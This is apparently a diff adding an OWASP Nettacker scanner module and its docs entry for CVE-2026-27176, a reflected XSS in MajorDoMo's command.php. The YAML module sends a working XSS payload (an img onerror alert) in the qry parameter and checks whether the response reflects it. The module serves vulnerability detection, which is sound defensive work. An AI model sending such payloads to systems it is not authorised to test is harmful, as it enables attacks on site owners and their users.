New module for CVE 2026 27176

docs/Modules.md

@@ -216,6 +216,7 @@ If you want to scan all ports please define -g 1-65535 range. Otherwise Nettacke
 - '**justwriting_cve_2021_41878_vuln**' – check the target for JustWriting CVE-2021-41878
 - '**langflow_cve_2025_3248_vuln**' - check the target for Langflow CVE-2025-3248 vulnerability
 - '**log4j_cve_2021_44228_vuln**' – check the target for Log4Shell CVE-2021-44228 vulnerability
+- '**majordomo_xss_cve_2026_27176_vuln**' – check MajorDoMo reflected XSS vulnerability CVE-2026-27176
 - '**maxsite_cms_cve_2021_35265_vuln**' – check the target for MaxSite CMS CVE-2021-35265
 - '**memos_cve_2025_22952_ssrf_vuln**' – check vulnerable Memos markdown metadata endpoint CVE-2025-22952
 - '**meteobridge_cve_2025_4008_vuln**' - check for MeteoBridge unauthenticated command injection CVE-2025-4008

nettacker/modules/vuln/majordomo_xss_cve_2026_27176.yaml

@@ -0,0 +1,57 @@
+info:
+  name: majordomo_xss_cve_2026_27176_vuln
+  author: OWASP Nettacker Team
+  severity: 6.1
+  description: Reflected Cross-Site Scripting (XSS) vulnerability in MajorDoMo command.php via the qry parameter. An attacker can inject arbitrary JavaScript that is reflected in the response and executed in the victim's browser.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2026-27176
+  profiles:
+    - vuln
+    - http
+    - medium_severity
+    - cve2026
+    - cve
+    - majordomo
+    - xss
+
+payloads:
+  - library: http
+    steps:
+      - method: get
+        timeout: 3
+        headers:
+          User-Agent: "{user_agent}"
+        allow_redirects: false
+        ssl: false
+        url:
+          nettacker_fuzzer:
+            input_format: "{{schema}}://{target}:{{ports}}/{{paths}}"
+            prefix: ""
+            suffix: ""
+            interceptors:
+            data:
+              schema:
+                - "http"
+                - "https"
+              ports:
+                - 80
+                - 443
+              paths:
+                - command.php?qry=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E
+
+        response:
+          condition_type: and
+          conditions:
+            status_code:
+              regex: '200'
+              reverse: false
+
+            headers:
+              Content-Type:
+                regex: text/html
+                reverse: false
+
+            content:
+              regex: |
+                (?s)(?=.*Command:)(?=.*\">\x3Cimg src=x onerror=alert\(document\.domain\)\x3E)
+              reverse: false